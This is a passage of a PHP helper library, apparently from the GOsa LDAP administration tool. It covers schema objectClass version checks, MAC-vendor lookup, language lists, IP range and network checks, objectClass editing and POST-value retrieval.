2380 $checks["gosaAccount"]["CLASSES_REQUIRED"]= array("gosaAccount");
2381 $checks["gosaAccount"]["IS_MUST_HAVE"] = TRUE;
2382 $checks["gosaAccount"]["INFO"] = _("Used to store account specific informations.");
2384 /* GOsa lock entry, used to mark currently edited objects as 'in use' */
2385 $checks["gosaLockEntry"]["REQUIRED_VERSION"] = "2.4";
2386 $checks["gosaLockEntry"]["SCHEMA_FILES"] = array("gosa+samba3.schema","gosa.schema");
2387 $checks["gosaLockEntry"]["CLASSES_REQUIRED"] = array("gosaLockEntry");
2388 $checks["gosaLockEntry"]["IS_MUST_HAVE"] = TRUE;
2389 $checks["gosaLockEntry"]["INFO"] = _("Used to lock currently edited entries to avoid multiple changes at the same time.");
2391 /* Some other checks */
2392 foreach(array(
2393 "gosaCacheEntry" => array("version" => "2.4"),
2394 "gosaDepartment" => array("version" => "2.4"),
2395 "goFaxAccount" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2396 "goFaxSBlock" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2397 "goFaxRBlock" => array("version" => "1.0.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2398 "gosaUserTemplate" => array("version" => "2.4", "class" => "posixAccount","file" => "nis.schema"),
2399 "gosaMailAccount" => array("version" => "2.4", "class" => "mailAccount","file" => "gosa+samba3.schema"),
2400 "gosaProxyAccount" => array("version" => "2.4", "class" => "proxyAccount","file" => "gosa+samba3.schema"),
2401 "gosaApplication" => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2402 "gosaApplicationGroup" => array("version" => "2.4", "class" => "appgroup","file" => "gosa.schema"),
2403 "GOhard" => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2404 "gotoTerminal" => array("version" => "2.5", "class" => "terminals","file" => "goto.schema"),
2405 "goServer" => array("version" => "2.4","class" => "server","file" => "goserver.schema"),
2406 "goTerminalServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2407 "goShareServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2408 "goNtpServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2409 "goSyslogServer" => array("version" => "2.4", "class" => "terminals","file" => "goto.schema"),
2410 "goLdapServer" => array("version" => "2.4"),
2411 "goCupsServer" => array("version" => "2.4", "class" => array("posixAccount", "terminals"),),
2412 "goImapServer" => array("version" => "2.4", "class" => array("mailAccount", "mailgroup"),"file" => "gosa+samba3. schema"),
2413 "goKrbServer" => array("version" => "2.4"),
2414 "goFaxServer" => array("version" => "2.4", "class" => "gofaxAccount","file" => "gofax.schema"),
2415 ) as $name => $values){
2417 $checks[$name] = $def_check;
2418 if(isset($values['version'])){
2419 $checks[$name]["REQUIRED_VERSION"] = $values['version'];
2420 }
2421 if(isset($values['file'])){
2422 $checks[$name]["SCHEMA_FILES"] = array($values['file']);
2423 }
2424 $checks[$name]["CLASSES_REQUIRED"] = array($name);
2425 }
2426 foreach($checks as $name => $value){
2427 foreach($value['CLASSES_REQUIRED'] as $class){
2429 if(!isset($objectclasses[$name])){
2430 $checks[$name]['STATUS'] = FALSE;
2431 if($value['IS_MUST_HAVE']){
2432 $checks[$name]['MSG'] = sprintf(_("The required objectClass '%s' is not present in your schema setup"),$class);
2433 }else{
2434 $checks[$name]['MSG'] = sprintf(_("The optional objectClass '%s' is not present in your schema setup"),$class);
2435 }
2436 }elseif(!check_schema_version($objectclasses[$name],$value['REQUIRED_VERSION'])){
2437 $checks[$name]['STATUS'] = FALSE;
2439 if($value['IS_MUST_HAVE']){
2440 $checks[$name]['MSG'] = sprintf(_("The required objectclass '%s' does not have version %s"), $class, $value['REQUIRED_VERSION']);
2441 }else{
2442 $checks[$name]['MSG'] = sprintf(_("The optional objectclass '%s' does not have version %s"), $class, $value['REQUIRED_VERSION']);
2443 }
2444 }else{
2445 $checks[$name]['STATUS'] = TRUE;
2446 $checks[$name]['MSG'] = sprintf(_("Class(es) available"));
2447 }
2448 }
2449 }
2451 $tmp = $objectclasses;
2454 /* The gosa base schema */
2455 $checks['posixGroup'] = $def_check;
2456 $checks['posixGroup']['REQUIRED_VERSION'] = "2.4";
2457 $checks['posixGroup']['SCHEMA_FILES'] = array("gosa+samba3.schema","gosa.schema");
2458 $checks['posixGroup']['CLASSES_REQUIRED'] = array("posixGroup");
2459 $checks['posixGroup']['STATUS'] = TRUE;
2460 $checks['posixGroup']['IS_MUST_HAVE'] = TRUE;
2461 $checks['posixGroup']['MSG'] = "";
2462 $checks['posixGroup']['INFO'] = "";
2464 /* Depending on selected rfc2307bis mode, we need different schema configurations */
2465 if(isset($tmp['posixGroup'])){
2467 if($rfc2307bis && isset($tmp['posixGroup']['STRUCTURAL'])){
2468 $checks['posixGroup']['STATUS'] = FALSE;
2469 $checks['posixGroup']['MSG'] = _("You have enabled the rfc2307bis option on the 'ldap setup' step, but your schema configuration do not support this option.");
2470 $checks['posixGroup']['INFO'] = _("In order to use rfc2307bis conform groups the objectClass 'posixGroup' must be AUXILIARY");
2471 }
2472 if(!$rfc2307bis && !isset($tmp['posixGroup']['STRUCTURAL'])){
2473 $checks['posixGroup']['STATUS'] = FALSE;
2474 $checks['posixGroup']['MSG'] = _("You have disabled the rfc2307bis option on the 'ldap setup' step, but your schema configuration do not support this option.");
2475 $checks['posixGroup']['INFO'] = _("The objectClass 'posixGroup' must be STRUCTURAL");
2476 }
2477 }
2479 return($checks);
2480 }
2485 function mac2company($mac)
2486 {
2487 $vendor= "";
2489 /* Generate a normailzed mac... */
2490 $mac= substr(preg_replace('/[:-]/', '', $mac), 0, 6);
2492 /* Check for existance of the oui file */
2493 if (!is_readable(CONFIG_DIR."/oui.txt")){
2494 return ("");
2495 }
2497 /* Open file and look for mac addresses... */
2498 $handle = @fopen(CONFIG_DIR."/oui.txt", "r");
2499 if ($handle) {
2500 while (!feof($handle)) {
2501 $line = fgets($handle, 4096);
2503 if (preg_match("/^$mac/i", $line)){
2504 $vendor= substr($line, 32);
2505 }
2506 }
2507 fclose($handle);
2508 }
2510 return ($vendor);
2511 }
2514 function get_languages($languages_in_own_language = FALSE,$strip_region_tag = FALSE)
2515 {
2516 $tmp = array(
2517 "de_DE" => "German",
2518 "fr_FR" => "French",
2519 "it_IT" => "Italian",
2520 "es_ES" => "Spanish",
2521 "en_US" => "English",
2522 "nl_NL" => "Dutch",
2523 "pl_PL" => "Polish",
2524 "sv_SE" => "Swedish",
2525 "zh_CN" => "Chinese",
2526 "ru_RU" => "Russian");
2528 $tmp2= array(
2529 "de_DE" => _("German"),
2530 "fr_FR" => _("French"),
2531 "it_IT" => _("Italian"),
2532 "es_ES" => _("Spanish"),
2533 "en_US" => _("English"),
2534 "nl_NL" => _("Dutch"),
2535 "pl_PL" => _("Polish"),
2536 "sv_SE" => _("Swedish"),
2537 "zh_CN" => _("Chinese"),
2538 "ru_RU" => _("Russian"));
2540 $ret = array();
2541 if($languages_in_own_language){
2543 $old_lang = setlocale(LC_ALL, 0);
2544 foreach($tmp as $key => $name){
2545 $lang = $key.".UTF-8";
2546 setlocale(LC_ALL, $lang);
2547 if($strip_region_tag){
2548 $ret[preg_replace("/^([^_]*).*$/","\\1",$key)] = _($name)." (".$tmp2[$key].")";
2549 }else{
2550 $ret[$key] = _($name)." (".$tmp2[$key].")";
2551 }
2552 }
2553 setlocale(LC_ALL, $old_lang);
2554 }else{
2555 foreach($tmp as $key => $name){
2556 if($strip_region_tag){
2557 $ret[preg_replace("/^([^_]*).*/","\\1",$key)] = _($name);
2558 }else{
2559 $ret[$key] = _($name);
2560 }
2561 }
2562 }
2563 return($ret);
2564 }
2567 /* Check if $ip1 and $ip2 represents a valid IP range
2568 * returns TRUE in case of a valid range, FALSE in case of an error.
2569 */
2570 function is_ip_range($ip1,$ip2)
2571 {
2572 if(!is_ip($ip1) || !is_ip($ip2)){
2573 return(FALSE);
2574 }else{
2575 $ar1 = split("\.",$ip1);
2576 $var1 = $ar1[0] * (16777216) + $ar1[1] * (65536) + $ar1[2] * (256) + $ar1[3];
2578 $ar2 = split("\.",$ip2);
2579 $var2 = $ar2[0] * (16777216) + $ar2[1] * (65536) + $ar2[2] * (256) + $ar2[3];
2580 return($var1 < $var2);
2581 }
2582 }
2585 /* Check if the specified IP address $address is inside the given network */
2586 function is_in_network($network, $netmask, $address)
2587 {
2588 $nw= split('\.', $network);
2589 $nm= split('\.', $netmask);
2590 $ad= split('\.', $address);
2592 /* Generate inverted netmask */
2593 for ($i= 0; $i<4; $i++){
2594 $ni[$i]= 255-$nm[$i];
2595 $la[$i]= $nw[$i] | $ni[$i];
2596 }
2598 /* Transform to integer */
2599 $first= $nw[0] * (16777216) + $nw[1] * (65536) + $nw[2] * (256) + $nw[3];
2600 $curr= $ad[0] * (16777216) + $ad[1] * (65536) + $ad[2] * (256) + $ad[3];
2601 $last= $la[0] * (16777216) + $la[1] * (65536) + $la[2] * (256) + $la[3];
2603 return ($first < $curr&& $last > $curr);
2604 }
2607 /* Add a given objectClass to an attrs entry */
2608 function add_objectClass($classes, &$attrs)
2609 {
2610 if (is_array($classes)){
2611 $list= $classes;
2612 } else {
2613 $list= array($classes);
2614 }
2616 foreach ($list as $class){
2617 $attrs['objectClass'][]= $class;
2618 }
2619 }
2622 /* Removes a given objectClass from the attrs entry */
2623 function remove_objectClass($classes, &$attrs)
2624 {
2625 if (isset($attrs['objectClass'])){
2626 /* Array? */
2627 if (is_array($classes)){
2628 $list= $classes;
2629 } else {
2630 $list= array($classes);
2631 }
2633 $tmp= array();
2634 foreach ($attrs['objectClass'] as $oc) {
2635 if(!in_array($oc, $list)){
2636 $tmp[]= $oc;
2637 }
2638 }
2639 $attrs['objectClass']= $tmp;
2640 }
2641 }
2644 /* Returns contents of the given POST variable and check magic quotes settings */
2645 function get_post($name)
2646 {
2647 if(!isset($_POST[$name])){
2648 trigger_error("Requested POST value (".$name.") does not exists, you should add a check to prevent this message.");
2649 return(FALSE);
2650 }
2651 if(get_magic_quotes_gpc()){
2652 return(stripcslashes($_POST[$name]));
2653 }else{
2654 return($_POST[$name]);
2655 }
2656 }
2658 // vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler:
2659 ?>